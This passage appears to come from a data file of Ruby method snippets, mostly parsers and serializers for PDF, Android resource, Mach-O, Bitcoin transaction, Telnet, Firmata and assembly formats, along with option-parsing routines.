<< 10 #new line\n\t\t\t\t\t\t\twhen 114 #r\n\t\t\t\t\t\t\t\tstr << 13 # CR\n\t\t\t\t\t\t\twhen 116 #t\n\t\t\t\t\t\t\t\tstr << 9 #tab\n\t\t\t\t\t\t\twhen 98 #b\n\t\t\t\t\t\t\t\tstr << 8\n\t\t\t\t\t\t\twhen 102 #f\n\t\t\t\t\t\t\t\tstr << 255\n\t\t\t\t\t\t\twhen 48..57 #octal notation for byte?\n\t\t\t\t\t\t\t\trep = rep.chr\n\t\t\t\t\t\t\t\trep += str_bytes.shift.chr if str_bytes[0].between?(48,57)\n\t\t\t\t\t\t\t\trep += str_bytes.shift.chr if str_bytes[0].between?(48,57) && ((rep + str_bytes[0].chr).to_i <= 255)\n\t\t\t\t\t\t\t\tstr << rep.to_i\n\t\t\t\t\t\t\twhen 10 # new line, ignore\n\t\t\t\t\t\t\t\tstr_bytes.shift if str_bytes[0] == 13\n\t\t\t\t\t\t\t\ttrue\n\t\t\t\t\t\t\twhen 13 # new line (or double notation for new line), ignore\n\t\t\t\t\t\t\t\tstr_bytes.shift if str_bytes[0] == 10\n\t\t\t\t\t\t\t\ttrue\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tstr << rep\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstr << str_bytes.shift\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tout << unify_string(str.pack('C*').force_encoding(Encoding::ASCII_8BIT))\n\t\t\t\t##########################################\n\t\t\t\t## Parse a comment\n\t\t\t\t##########################################\n\t\t\t\twhen str = @scanner.scan(/\\%/)\n\t\t\t\t\t#is a comment, skip until new line\n\t\t\t\t\tloop do\n\t\t\t\t\t\t# break unless @scanner.scan(/[^\\d\\r\\n]+/)\n\t\t\t\t\t\tbreak if @scanner.scan(/[^\\d]+[\\r\\n]+/) || @scanner.check(/([\\d]+[\\s]+[\\d]+[\\s]+obj[\\n\\r\\s]+\\<\\<)|([\\n\\r]+)/) || @scanner.eos?\n\t\t\t\t\t\t@scanner.pos += 1\n\t\t\t\t\tend\n\t\t\t\t\t# puts \"AFTER COMMENT: #{@scanner.peek 8}\"\n\t\t\t\t##########################################\n\t\t\t\t## Parse a Name\n\t\t\t\t##########################################\n\t\t\t\t# old, probably working version: when str = @scanner.scan(/\\/[\\#\\w\\d\\.\\+\\-\\\\\\?\\,]+/)\n\t\t\t\t# I don't know how to write the /[\\x21-\\x7e___subtract_certain_hex_values_here____]+/\n\t\t\t\t# all allowed regular caracters between ! and ~ : /[\\x21-\\x24\\x26\\x27\\x2a-\\x2e\\x30-\\x3b\\x3d\\x3f-\\x5a\\x5c\\x5e-\\x7a\\x7c\\x7e]+\n\t\t\t\t# all characters that aren't white space or special: /[^\\x00\\x09\\x0a\\x0c\\x0d\\x20\\x28\\x29\\x3c\\x3e\\x5b\\x5d\\x7b\\x7d\\x2f\\x25]+\n\t\t\twhen str = @scanner.scan(/\\/[^\\x00\\x09\\x0a\\x0c\\x0d\\x20\\x28\\x29\\x3c\\x3e\\x5b\\x5d\\x7b\\x7d\\x2f\\x25]+/)\n\t\t\t\t\tout << ( str[1..-1].gsub(/\\#[0-9a-fA-F]{2}/) {|a| a[1..2].hex.chr } ).to_sym\n\t\t\t\t##########################################\n\t\t\t\t## Parse a Number\n\t\t\t\t##########################################\n\t\t\t\twhen str = @scanner.scan(/[\\+\\-\\.\\d]+/)\n\t\t\t\t\tstr.match(/\\./) ? (out << str.to_f) : (out << str.to_i)\n\t\t\t\t##########################################\n\t\t\t\t## Parse an Object Reference\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/R/)\n\t\t\t\t\tout << { is_reference_only: true, indirect_generation_number: out.pop, indirect_reference_id: out.pop}\n\t\t\t\t\t@references << out.last\n\t\t\t\t##########################################\n\t\t\t\t## Parse Bool - true and after false\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/true/)\n\t\t\t\t\tout << true\n\t\t\t\twhen @scanner.scan(/false/)\n\t\t\t\t\tout << false\n\t\t\t\t##########################################\n\t\t\t\t## Parse NULL - null\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/null/)\n\t\t\t\t\tout << nil\n\t\t\t\t##########################################\n\t\t\t\t## XREF - check for encryption... anything else?\n\t\t\t\t##########################################\n\t\t\t\twhen @scanner.scan(/xref/)\n\t\t\t\t\t##########\n\t\t\t\t\t## get root object to check for encryption\n\t\t\t\t\t@scanner.scan_until(/(trailer)|(\\%EOF)/)\n\t\t\t\t\tfresh = true\n\t\t\t\t\tif @scanner.matched[-1] == 'r'\n\t\t\t\t\t\tif @scanner.skip_until(/<</)\n\t\t\t\t\t\t\tdata = _parse_\n\t\t\t\t\t\t\t@root_object ||= {}\n\t\t\t\t\t\t\t@root_object[data.shift] = data.shift while data[0]\t\t\t\t\t\t\n\t\t\t\t\t\tend\n\t\t\t\t\t\t##########\n\t\t\t\t\t\t## skip untill end of segment, maked by %%EOF\n\t\t\t\t\t\t@scanner.skip_until(/\\%\\%EOF/)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\twhen @scanner.scan(/[\\s]+/)\n\t\t\t\t\t# Generally, do nothing\n\t\t\t\t\tnil\n\t\t\t\twhen @scanner.scan(/obj[\\s]*/)\n\t\t\t\t\t# Fix wkhtmltopdf PDF authoring issue - missing 'endobj' keywords\n\t\t\t\t\tunless fresh || (out[-4].nil? || out[-4].is_a?(Hash))\n\t\t\t\t\t\tkeep = []\n\t\t\t\t\t\tkeep << out.pop # .tap {|i| puts \"#{i} is an ID\"} \n\t\t\t\t\t\tkeep << out.pop # .tap {|i| puts \"#{i} is a REF\"} \n\n\t\t\t\t\t\tif out.last.is_a? Hash\n\t\t\t\t\t\t\tout << out.pop.merge({indirect_generation_number: out.pop, indirect_reference_id: out.pop})\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tout << {indirect_without_dictionary: out.pop, indirect_generation_number: out.pop, indirect_reference_id: out.pop}\n\t\t\t\t\t\tend\n\t\t\t\t\t\twarn \"'endobj' keyword was missing for Object ID: #{out.last[:indirect_reference_id]}, trying to auto-fix issue, but might fail.\"\n\n\t\t\t\t\t\tout << keep.pop\n\t\t\t\t\t\tout << keep.pop\n\t\t\t\t\tend\n\t\t\t\t\tfresh = false\n\t\t\t\telse\n\t\t\t\t\t# always advance \n\t\t\t\t\t# warn \"Advnacing for unknown reason... #{@scanner.peek(4)}\" unless @scanner.peek(1) =~ /[\\s\\n]/\n\t\t\t\t\twarn \"Warning: parser advnacing for unknown reason. Potential data-loss.\"\n\t\t\t\t\t@scanner.pos = @scanner.pos + 1\n\t\t\t\tend\n\t\t\tend\n\t\t\tout\n\t\tend", "def parse\n read_header\n parse_text_segment\n parse_data_segment\n @data = nil\n end", "def parse\n self.data = BdlFile.strip_comments self.data\n save!\n tokenize\n Instruction.create_references!\n end", "def parse!\n begin\n parse\n rescue StandardError => e\n raise e if @options[:trace] || e.is_a?(SystemExit)\n $stderr.puts \"#{e.class}: \" + e.message.to_s\n exit 1\n end\n exit 0\n end", "def parse(args, prog)\n WhoToWho.log.level = Logger::INFO\n options = OptionParser.new do |opts|\n \n opts.banner = \"Usage: #{prog} [options]\"\n \n opts.on(\"-v\", \"--verbose\", \"Run verbosely\") do |v|\n WhoToWho.log.level = Logger::DEBUG\n WhoToWho.log.debug \"Debug Activate\"\n end\n opts.on( '-f', '--file REQUIRED', :REQUIRED, 'File where is all data') do |f|\n load_file f\n end\n opts.on('-c', '--config FILE', :REQUIRED, 'File where is all config') do |f|\n load_config f\n end\n opts.on('-g', '--gmail', 'Define option if use a Gmail account for SMTP') do |g|\n require_dependency('whotowho/smtp_tls') if g\n end\n opts.on('-s', '--subject SUBJECT', :REQUIRED, 'Define the subject to send by email') do |s|\n @subject = s\n end\n opts.on('-m FILE', '--mail MAIL', :REQUIRED, 'Send a file where the content is with 2 params #{who} and #{towho}') do |c|\n @content = File.open(c).read\n end\n\n @full_print = opts\n\n end.parse!\n test_required\n @test = 0\n end", "def parse_package(data, offset)\n header = ChunkHeader.new( read_short(data, offset),\n read_short(data, offset+2),\n read_word(data, offset+4) )\n\n package_id = read_word(data, offset+8)\n package_name = read_string(data, offset+12, 256, \"UTF-8\")\n package_type_strings = read_word(data, offset+268)\n package_last_type = read_word(data, offset+272)\n package_key_strings = read_word(data, offset+276)\n package_last_key = read_word(data, offset+280)\n\n package_header = PackageHeader.new(header, package_id, package_name, package_type_strings, package_key_strings)\n\n ## typeStrings StringPool\n startoffset_typestrings = offset + package_type_strings\n puts \"Parse typeStrings StringPool Chunk\" if DEBUG\n stringpool_typestrings = parse_stringpool(data, startoffset_typestrings)\n\n ## keyStrings StringPool\n startoffset_keystrings = offset + package_key_strings\n puts \"Parse keyStrings StringPool Chunk\" if DEBUG\n stringpool_keystrings = parse_stringpool(data, startoffset_keystrings)\n\n ## typeSpec/type Chunks\n type_data = Array.new()\n current_spec = nil\n\n current = startoffset_keystrings + stringpool_keystrings.header.chunk_size\n puts \"Parse Type/TypeSpec Chunks\" if DEBUG\n while current < data.length\n ## Parse Header\n header = ChunkHeader.new( read_short(data, current),\n read_short(data, current+2),\n read_word(data, current+4) )\n ## Check Type\n if header.type == CHUNKTYPE_TYPESPEC\n typespec_id = read_byte(data, current+8)\n typespec_entrycount = read_word(data, current+12)\n\n ## Parse the config flags for each entry\n typespec_entries = Array.new()\n i=0\n while i < typespec_entrycount\n offset = i * 4 + (current+16)\n typespec_entries << read_word(data, offset)\n\n i += 1\n end\n\n typespec_name = stringpool_typestrings.values[typespec_id - 1]\n current_spec = ResTypeSpec.new(header, typespec_name, typespec_entrycount, typespec_entries, nil)\n\n type_data << current_spec\n current += header.chunk_size\n elsif header.type == CHUNKTYPE_TYPE\n type_id = read_byte(data, current+8)\n type_entrycount = read_word(data, current+12)\n type_entryoffset = read_word(data, current+16)\n\n ## The config flags set for this type chunk\n ## TODO: Vary the size of the config structure based on size to accomodate for new flags\n config_start = current+20\n config_size = read_word(data, config_start) # Number of bytes in structure\n type_config = ResTypeConfig.new( read_word(data, config_start+4),\n read_word(data, config_start+8),\n read_word(data, config_start+12),\n read_word(data, config_start+16 ),\n read_word(data, config_start+20),\n read_word(data, config_start+24),\n read_word(data, config_start+28),\n read_word(data, config_start+32) )\n ## TODO: This config structure is outdated. Update to latest aapt specs.\n\n ## The end of the config structure marks the offsets table\n offset_table_start = config_start + config_size\n ## The remainder of the chunk is a list of the entry values for that type/configuration\n type_name = stringpool_typestrings.values[type_id - 1]\n if current_spec.types == nil\n current_spec.types = ResType.new(header, type_name, type_config, type_entrycount, Array.new())\n end\n\n i=0\n while i < type_entrycount\n ## Ensure a hash exists for each type\n if current_spec.types.entries[i] == nil\n current_spec.types.entries[i] = Hash.new()\n end\n current_entry = current_spec.types.entries[i]\n\n ## Get the start of the type from the offsets table\n index_offset = i * 4 + offset_table_start\n start_offset = read_word(data, index_offset)\n if start_offset != OFFSET_NO_ENTRY\n ## Set the index_offset to the start of the current entry\n index_offset = current + type_entryoffset + start_offset\n\n entry_flags = read_short(data, index_offset+2)\n entry_key = read_word(data, index_offset+4)\n entry_data_type = read_byte(data, index_offset+11)\n entry_data = read_word(data, index_offset+12)\n\n # Find the key in our strings index\n key_name = stringpool_keystrings.values[entry_key]\n # Parse the value into a string\n case entry_data_type\n when TYPE_NULL\n data_value = nil\n when TYPE_REFERENCE\n ## TODO: Mark these here, and resolve after package is parsed\n data_value = res_id_to_s(entry_data)\n when TYPE_STRING\n data_value = get_resource_string(entry_data_type, entry_data)\n when TYPE_INT_COLOR_ARGB8..TYPE_INT_COLOR_RGB4\n data_value = get_resource_color(entry_data_type, entry_data)\n when TYPE_DIMENSION\n data_value = get_resource_dimension(entry_data_type, entry_data)\n when TYPE_INT_DEC, TYPE_INT_HEX\n data_value = get_resource_integer(entry_data_type, entry_data)\n when TYPE_BOOL\n data_value = get_resource_bool(entry_data_type, entry_data)\n when TYPE_FLOAT\n data_value = get_resource_float(entry_data_type, entry_data)\n when TYPE_FRACTION\n data_value = get_resource_fraction(entry_data_type, entry_data)\n else\n puts \"Complex Resource (%s,%d) not yet supported.\" % [type_name,entry_data_type] if DEBUG\n data_value = entry_data.to_s\n end\n current_entry[type_config] = ResTypeEntry.new(entry_flags, key_name, entry_data_type, data_value)\n end\n i += 1\n end\n\n current += header.chunk_size\n elsif header.type == CHUNKTYPE_PACKAGE\n ## This is the next package chunk, move along\n puts \"Next Package Chunk Found...Ending\" if DEBUG\n current = data.length\n else\n puts \"Unknown Chunk Found: #{header.type} #{header.size}\" if DEBUG\n ## End Immediately\n current = data.length\n end\n end\n\n return Package.new(package_header, stringpool_typestrings, stringpool_keystrings, type_data)\n end", "def serialize\n # TODO sanity checks, e.g. assert(@header[:ncmds] == @load_command.size)\n # ... perhaps an option to recalculate such data as well.\n\n # Now that we have all the pieces of the file defined we can calculate\n # the file offsets of segments and sections.\n calculate_offsets\n\n ###################################\n # Mach-O file Part 1: Mach Header #\n ###################################\n @header.serialize +\n\n #####################################\n # Mach-O file Part 2: Load Commands #\n #####################################\n # dump each load command (which include the section headers under them)\n @load_commands.map do |cmd|\n sects = @sections[cmd[:segname]] rescue []\n sects.inject(cmd.serialize) do |data, sect|\n data + sect.serialize\n end\n end.join +\n\n ###################################\n # Mach-O file Part 3: Binary data #\n ###################################\n @data.join\n end", "def do_program(program_text)\n fail 'empty program specified' unless program_text && !program_text.empty?\n\n reset_variables\n\n @program = Program.new program_text\n @orig_data = @program.data\n @data = @orig_data.dup\n\n while line_do(@program.next_line) != :END\n end\n end", "def parse; end", "def parse; end", "def parse; end", "def run (path = \"progfile.dat\")\n find_instructions\n find_labels\n\n @input.each do |line|\n if (line.instruction?) || (line.comment?)\n parse_input(line)\n @instruction = nil\n # If it's a comment -> show but not work with it\n if line.instruction?\n \n exists_instruction?\n parse_label\n argument_size?\n argument_syntax?\n\n @instruction.set_arguments(@cmd[:arguments])\n @output << @instruction.code\n end\n show(@output.size-1) if @debug\n end\n @line += 1\n end\n generate(path)\n end", "def format_data data\r\n\tresult = []\r\n\t#split entry to array\r\n\tarr = data.read.split '>'\r\n\tarr.each do |item|\r\n\t\tname = item.split('|')[0]\r\n\t\tnext if !name\r\n\r\n\t\tprotein = []\r\n\t\t#format name\r\n\t\tname.delete! ' '\r\n\t\tname.tr! '|', ''\r\n\r\n\t\t#format sequence\r\n\t\ttmp = item.split \"\\n\"\r\n\t\ttmp.shift\r\n\t\tsequence = tmp.join\r\n\r\n\t\tprotein.push name, sequence\r\n\r\n\t\tresult.push protein\r\n\tend\t\r\n\tresult\r\n\r\nend", "def parse filename\n puts \"parsing #{filename}\"\n asm_lines=IO.readlines(filename)\n\n @max_digits=asm_lines.size.to_s.size\n address=-1\n prog={} #returned\n\n asm_lines.each_with_index do |line,idx|\n line.chomp!\n @idx=idx+1\n\n next if line=~/\\A\\s*;/ # skip comment lines\n line.slice!(/;(.*)/) # suppress comments at end of line!\n next if line.empty? # suppress empty lines\n\n address+=1\n\n if mdata=has_label(line)\n line.slice!(/\\A\\s*(\\w+)\\s*:/)\n label=parse_label(mdata)\n @labels[label]=address\n end\n\n if !line.empty?\n instr=parse_instr(line)\n prog[address]=instr\n #puts \"#{address.to_s.ljust(@max_digits)}: #{line}\"\n else\n address-=1\n end\n\n end\n puts \"number of instructions parsed : #{prog.size}\"\n puts \"number of labels found : #{@labels.size}\"\n\n return prog\n end", "def parse_data(data)\n @ver = data.unpack(\"I\")[0]\n idx = 4\n in_size, tmp = Protocol.unpack_var_int(data[idx..-1])\n idx += data[idx..-1].bytesize-tmp.bytesize\n # raise \"unkown transaction version: #{@ver}\" unless @ver == 1\n\n @in = (0...in_size).map{\n txin = TxIn.new\n idx += txin.parse_data(data[idx..-1])\n txin\n }\n\n out_size, tmp = Protocol.unpack_var_int(data[idx..-1])\n idx += data[idx..-1].bytesize-tmp.bytesize\n\n @out = (0...out_size).map{\n txout = TxOut.new\n idx += txout.parse_data(data[idx..-1])\n txout\n }\n\n @lock_time = data[idx...idx+=4].unpack(\"I\")[0]\n\n @payload = data[0...idx]\n @hash = hash_from_payload(@payload)\n\n if data[idx] == nil\n true # reached the end.\n else\n data[idx..-1] # rest of buffer.\n end\n end", "def unpack(data); end", "def parse_data(data)\n data.each { |line| process_line(line) }\n return unless measurements.blank?\n\n self.load_errors += \"No data was able to be loaded from this file.\"\n end", "def parse(source); end", "def parse!\n begin\n parse\n rescue Exception => e\n raise e if @options[:trace] || e.is_a?(SystemExit)\n\n $stderr.print \"#{e.class}: \" unless e.class == RuntimeError\n $stderr.puts \"#{e.message}\"\n exit 1\n end \n exit 0\n end", "def to_data(prog, offset, data)\n if data.is_a?(Hash)\n res = \"\\x0\"*@struct_size\n @members.each do |n, m|\n if data.key?(n.to_sym)\n items = Array(data[n.to_sym])\n item_offset = m.offset\n m.count.times do |index|\n s = member_item_to_data(prog, m, offset + item_offset, items[index])\n res[item_offset, size=s.bytesize] = s\n item_offset += size\n end\n end\n end\n elsif data.respond_to? :to_z80bin\n res = data.to_z80bin[0,@struct_size].ljust(@struct_size, \"\\x0\")\n elsif data.is_a?(String)\n res = data.dup.force_encoding(Encoding::ASCII_8BIT)[0,@struct_size].ljust(@struct_size, \"\\x0\")\n else\n data = Array(data)\n res = ''\n index = 0\n @members.reject {|_, m| m.alias}.each do |_, m|\n m.count.times do\n s = member_item_to_data(prog, m, offset, data[index])\n offset += s.bytesize\n index += 1\n res << s\n end\n end\n end\n res\n end", "def _get_data\n output = %x[/usr/bin/magic_mouse_rb]\n db = output.split(\"|\")\n db = db[1];\n unless db\n return 0\n end\n return db.split\n end", "def load_main_manifest\n parser = Parser::EvaluatingParser.singleton\n parsed_code = Puppet[:code]\n program = if parsed_code != \"\"\n parser.parse_string(parsed_code, 'unknown-source-location')\n else\n file = @environment.manifest\n\n # if the manifest file is a reference to a directory, parse and combine\n # all .pp files in that directory\n if file == Puppet::Node::Environment::NO_MANIFEST\n nil\n elsif File.directory?(file)\n raise Puppet::Error, \"manifest of environment '#{@environment.name}' appoints directory '#{file}'. It must be a file\"\n elsif File.exist?(file)\n parser.parse_file(file)\n else\n raise Puppet::Error, \"manifest of environment '#{@environment.name}' appoints '#{file}'. It does not exist\"\n end\n end\n instantiate_definitions(program, public_environment_loader) unless program.nil?\n program\n rescue Puppet::ParseErrorWithIssue => detail\n detail.environment = @environment.name\n raise\n rescue => detail\n msg = _('Could not parse for environment %{env}: %{detail}') % { env: @environment, detail: detail }\n error = Puppet::Error.new(msg)\n error.set_backtrace(detail.backtrace)\n raise error\n end", "def parsed\n vals = \"-f #{capture_device} \"\n vals << parse_advanced(advanced_input)\n vals << \"-i #{input} \" unless advanced_input[:i] # Input provided by user\n vals << parse_advanced(advanced)\n vals << parse_advanced(advanced_output)\n vals << output\n end", "def parse_options(args)\n program = Pathname.new(__FILE__).realpath\n header = <<-END_HEADER\n# Running #{program} on #{Time.now}\n# Command-line arguments are: #{args}\n# Command-line to reproduce: #{program} #{args.join(\" \")}\n#\nEND_HEADER\n timestamp = Time.now.strftime(\"%Y%m%d%H%M%S\")\n current_dir = Pathname.pwd\n output_basename = current_dir + \"log\"\n output_basename.mkdir unless output_basename.directory?\n options = OpenStruct.new\n options.log_level = :off\n options.log_destination = STDOUT\n options.db_url = { :adapter => :in_memory }\n options.generate = nil\n options.time = 60\n options.profile_strings = false\n options.output_filename = \"dm-tpcc-#{timestamp}.out\"\n options.data_directory = current_dir + \"data\"\n options.load = false\n options.save_data = false\n\n opts = OptionParser.new do |opts|\n opts.banner = \"Usage: dm-tpcc [options]\"\n opts.separator \"\"\n\n opts.on(\"-g NUM_WAREHOUSES\", \"--generate NUM_WAREHOUSES\", Integer,\n \"Generate data for the number of warehouses.\") do |g| \n options.generate = g \n end\n\n opts.on(\"-s DIRECTORY_NAME\", \"--save DIRECTORY_NAME\",\n \"Save generated data for later use.\") do |s| \n options.data_directory = s unless (s.nil? || s.empty?)\n end\n\n opts.on(\"-S\", \"--save-data\", \"Save generated data for later use.\") do |s| \n options.save_data = s\n end\n\n opts.on(\"-D\", \"--load-data\", \"Load data from saved datasets.\") do |l|\n options.load = l\n end\n\n opts.on(\"--profile-string-algorithms\",\n \"Profile different string generators\") do |sg| \n options.profile_strings = sg \n end\n\n opts.on(\"-d DB_URL\", \"--db-url DB_URL\", String,\n \"Specify a DataMapper DB URL\") do |dburl| \n options.db_url = dburl \n end\n\n opts.on(\"-l LOG_LEVEL\", \"--log-level LOG_LEVEL\", LOG_LEVELS,\n \"Specify a log level.\") do |l| \n options.log_level = l.to_sym \n end\n\n opts.on(\"-L LOG_FILE\", \"--log-file LOG_FILE\", String,\n \"Specify a log file.\") do |f| \n options.log_destination = File.new(f, \"a+\") \n end\n\n opts.on(\"-o FILENAME\", \"--output FILENAME\", String,\n \"Filename to save output to.\") do |outputfile| \n options.output_filename = outputfile\n end\n\n opts.on(\"-t DURATION\", \"--time DURATION\", Integer,\n \"Duration of the test in seconds.\") do |time| \n options.time = time \n end\n\n opts.on(\"--once\", \"Run just one time\") do |once| \n options.once = once \n end\n\n opts.separator \"Common Options:\"\n opts.on_tail(\"-h\", \"--help\", \"Show this message.\") do\n puts opts\n\n print \"\\nLog Levels:\\n\"\n LOG_LEVELS.keys.each { |l| print \"\\t#{l}\\n\" }\n print \"\\nExample Database URLS:\\n\"\n $example_dbs.each { |db| print \"\\t#{db}\\n\" }\n exit\n end\n opts.on_tail(\"--version\", \"Show version\") do\n puts DataMapper::TPCC::VERSION\n exit\n end\n end\n\n opts.parse!(args)\n \n # Process options into global variables (ick)\n $output = File.open(output_basename + options.output_filename, \"w+\")\n $output.print header\n $data_directory = options.data_directory\n $data_directory.mkdir unless $data_directory.directory?\n\n options\nend", "def parse(line)\n\t\titems = line.split(' ')\n\t\trecord = {}\n\t\t# debugger\n\t\trecord[:event] = items[0]\n\t\trecord[:time] = items[1]\n\t\trecord[:fnode] = items[2]\n\t\trecord[:tnode] = items[3]\n\t\trecord[:pktype] = items[4]\n\t\trecord[:pktsize] = items[5]\n\t\trecord[:fid] = items[7]\n\t\trecord[:srcadd] = items[8]\n\t\trecord[:desadd] = items[9]\n\t\trecord[:seqnum] = items[10]\n\t\trecord[:pktid] = items[11]\n\t\trecord\n\tend", "def process_data(data)\n print_headline\n tmp = data.dup\n\n # TELNETコマンドを抽出しダンプする.\n tmp.gsub!(/#{IAC}(\n [#{DONT}#{DO}#{WONT}#{WILL}].|\n #{SB}.(#{IAC}#{IAC}|[^#{IAC}])*#{IAC}#{SE}|\n [#{NOP}-#{GA}#{0.chr}-#{239.chr}]\n )/xon){\n case $1[0].chr\n when DONT; print \"> IAC DONT #{$1[1]}\\n\"\n when DO ; print \"> IAC DO #{$1[1]}\\n\"\n when WONT; print \"> IAC WONT #{$1[1]}\\n\"\n when WILL; print \"> IAC WILL #{$1[1]}\\n\"\n when SB ; print \"> IAC SB #{$1[1]} #{$1[2..-3].dump} IAC SE\\n\"\n else ; print \"> IAC #{$1[1]}\\n\"\n end\n }\n\n # 残りの部分を出力.\n tmp.each { |line| print line.dump, \"\\n\" } if tmp.size > 0\n end", "def parse_memory(data, encoding = T.unsafe(nil)); end", "def process(data)\n bytes = StringIO.new(String(data)).each_byte\n bytes.each do |byte|\n case byte\n when REPORT_VERSION\n @major_version = bytes.next\n @minor_version = bytes.next\n\n emit('report_version')\n\n when ANALOG_MESSAGE_RANGE\n least_significant_byte = bytes.next\n most_significant_byte = bytes.next\n\n value = least_significant_byte | (most_significant_byte << 7)\n pin = byte & 0x0F\n\n if analog_pin = analog_pins[pin]\n pins[analog_pin].value = value\n\n emit('analog-read', pin, value)\n emit(\"analog-read-#{pin}\", value)\n end\n\n when DIGITAL_MESSAGE_RANGE\n port = byte & 0x0F\n first_bitmask = bytes.next\n second_bitmask = bytes.next\n port_value = first_bitmask | (second_bitmask << 7)\n\n 8.times do |i|\n pin_number = 8 * port + i\n if pin = pins[pin_number] and pin.mode == INPUT\n value = (port_value >> (i & 0x07)) & 0x01\n pin.value = value\n emit('digital-read', pin_number, value)\n emit(\"digital-read-#{pin_number}\", value)\n end\n end\n\n when START_SYSEX\n current_buffer = [byte]\n begin\n current_buffer.push(bytes.next)\n end until current_buffer.last == END_SYSEX\n\n command = current_buffer[1]\n\n case command\n when CAPABILITY_RESPONSE\n supported_modes = 0\n n = 0\n\n current_buffer.slice(2, current_buffer.length - 3).each do |byte|\n if byte == 127\n modes = []\n # the pin modes\n [ INPUT, OUTPUT, ANALOG, PWM, SERVO ].each do |mode|\n modes.push(mode) unless (supported_modes & (1 << mode)).zero?\n end\n\n @pins.push(Pin.new(modes, OUTPUT, 0))\n\n supported_modes = 0\n n = 0\n next\n end\n\n supported_modes |= (1 << byte) if n.zero?\n\n n ^= 1\n end\n\n emit('capability_query')\n\n when ANALOG_MAPPING_RESPONSE\n pin_index = 0\n\n current_buffer.slice(2, current_buffer.length - 3).each do |byte|\n\n @pins[pin_index].analog_channel = byte\n\n @analog_pins.push(pin_index) unless byte == 127\n\n pin_index += 1\n end\n\n emit('analog_mapping_query')\n\n when PIN_STATE_RESPONSE\n pin = pins[current_buffer[2]]\n pin.mode = current_buffer[3]\n pin.value = current_buffer[4]\n\n pin.value |= (current_buffer[5] << 7) if current_buffer.size > 6\n\n pin.value |= (current_buffer[6] << 14) if current_buffer.size > 7\n\n when FIRMWARE_QUERY\n @firmware_name = current_buffer.slice(4, current_buffer.length - 5).reject { |b| b.zero? }.map(&:chr).join\n emit('firmware_query')\n\n else\n puts 'bad byte'\n end\n end\n end\n rescue StopIteration\n # do nadda\n end", "def feed(tape)\n tokr = /(\\d+)\\s+(\\w+)\\s+([^#]+)/ # Split out the pid, opcode, and the arguments as one string\n tape.split(\"\\n\").each do |line|\n md = line.match(tokr)\n pid = md[1].to_i\n op = md[2]\n args = md[3]\n\n if op.match /[aA]lloc/\n a = args.split(\" \").map { |i| i.to_i } #each operation has a different way of handling arguments\n load :pid => pid, :op => :alloc, :text => a[0], :data => a[1]\n elsif op.match(/\\d+/)\n load :pid => pid, :op => :alloc, :text => op.to_i, :data => args.to_i\n elsif op.match /[hH]alt/\n load :pid => pid, :op => :halt\n elsif op.match /[Rr]ead/\n a = args.match(/([a-z])(\\d+)\\s+(\\d+)/)\n if a[1] == 'd'\n seg = :data\n elsif a[1] == 't'\n seg = :text\n end\n off = a[2].to_i\n size = a[3].to_i\n load :pid => pid, :op => :read, :segment => seg, :offset => off, :size => size\n end\n end\n end", "def extract_opcode(dump)\n dump.each_line do |line|\n # If the line is a line of disassembled code...\n m = /\\A\\s+[0-9a-f]+:/i.match line\n\n # Extract the opcode field and remove any internal spaces\n return line.split(/\\t/)[1].split.join unless m.nil?\n end\nend", "def load_program(program, offset = 0)\n @program = program\n compile_program(@program)\n end", "def parse_meta\n meta = Hash.new\n meta[@data[0][0]] = @data[0][1]\n meta[@data[0][2]] = @data[0][3]\n meta[@data[0][4]] = @data[0][5]\n meta[@data[0][6]] = @data[0][7]\n meta[@data[1][0]] = @data[1][1]\n meta[@data[1][2]] = @data[1][3]\n meta[@data[1][4]] = @data[1][5]\n meta[@data[1][6]] = @data[1][7]\n meta[@data[1][8]] = @data[1][9]\n meta[@data[1][10]] = @data[1][11]\n meta[@data[1][12]] = @data[1][13]\n # This is some cleanup that needs to happen because of an oddity (bug?) in \n # the WF/CSV files in version 5.5.1.\n if [\"5.5.0\",\"5.5.1\"].include? meta[\"AppVersion\"]\n day = Hash.new\n hour = Hash.new\n minu = Hash.new\n sec = Hash.new\n meta.each do |k,v|\n if !k.nil?\n if k.include? \"Day\"\n d = k.split(/([0-9]+)/) \n day[d[0]] = d[1]\n h = v.split(/([0-9]+)/) \n hour[h[0]] = h[1]\n meta.delete(k)\n elsif k.include? \"Minu\"\n m = k.split(/([0-9]+)/) \n minu[m[0]] = m[1]\n s = v.split(/([0-9]+)/) \n sec[s[0]] = s[1]\n meta.delete(k)\n end\n else\n meta.delete(k)\n end\n end \n meta.merge! day\n meta.merge! hour\n meta.merge! minu \n meta.merge! sec\n end \n return meta\n end", "def parse(output)\n\t\treturn nil unless( output ) \n\t\t@answer = Hash.new\n\t\tentries = output.split(@flags[0])\n\t return nil unless ( entries[1] )\n\t entries.shift\n\t entries.each do |entry|\n\t\t\tparse_entry(entry)\n\t\tend \n\t\tstringify \n\tend", "def parse_data\n [object_ref, get_symbol, parse]\n end", "def parse\n {:indent => @indent, :command => parse_command}\n end", "def parse(text)\n # match = text.scan(/^(\\/[^:]+):\\s([^:]+):\\s(.+)$/)[0]\n rows = text.split(/\\n/)\n \n rows.shift(rows.length-3) if rows.length > 3\n \n match = rows[0].scan(/^(\\d+)\\t([^\\t]+)\\t([^\\t]+)\\t(.+)$/)[0]\n \n result = {\n :linenumber => match[0],\n :file => match[1],\n :filename => match[2],\n :type => match[3] =~ /warning/i ? \"warning\" : \"error\",\n :description => match[3],\n :code => rows[1],\n :position => rows[2].scan(/^(.*)\\^$/)[0][0].length\n }\n return result\nend", "def vm(input,output)\n\t# line index\n\ti = 1\n\t# bootstrap \n\tif input.any?{|x| x[:file] == \"Sys\"}\n\t\toutput.puts(\"@256\\nD=A\\n@SP\\nM=D\\n\")\n\t\toutput.puts(parseLine(\"callSys.init0\",\"origin\",\"0\"))\n\tend\n\t# iterate through each of the hashes with lines & filename\n\tinput.each{|x| \n\t\t# iterate through each of the lines in a given file\n\t\tx[:lines].each{|y|\n\t\t\t# grab the assembly representing a given line \n\t\t\tln = parseLine(y,x[:file],i.to_s)\n\t\t\t# if there is output and its valid then write it \n\t\t\t# to the output file \n\t\t\tif ln && ln.class == String then output.puts 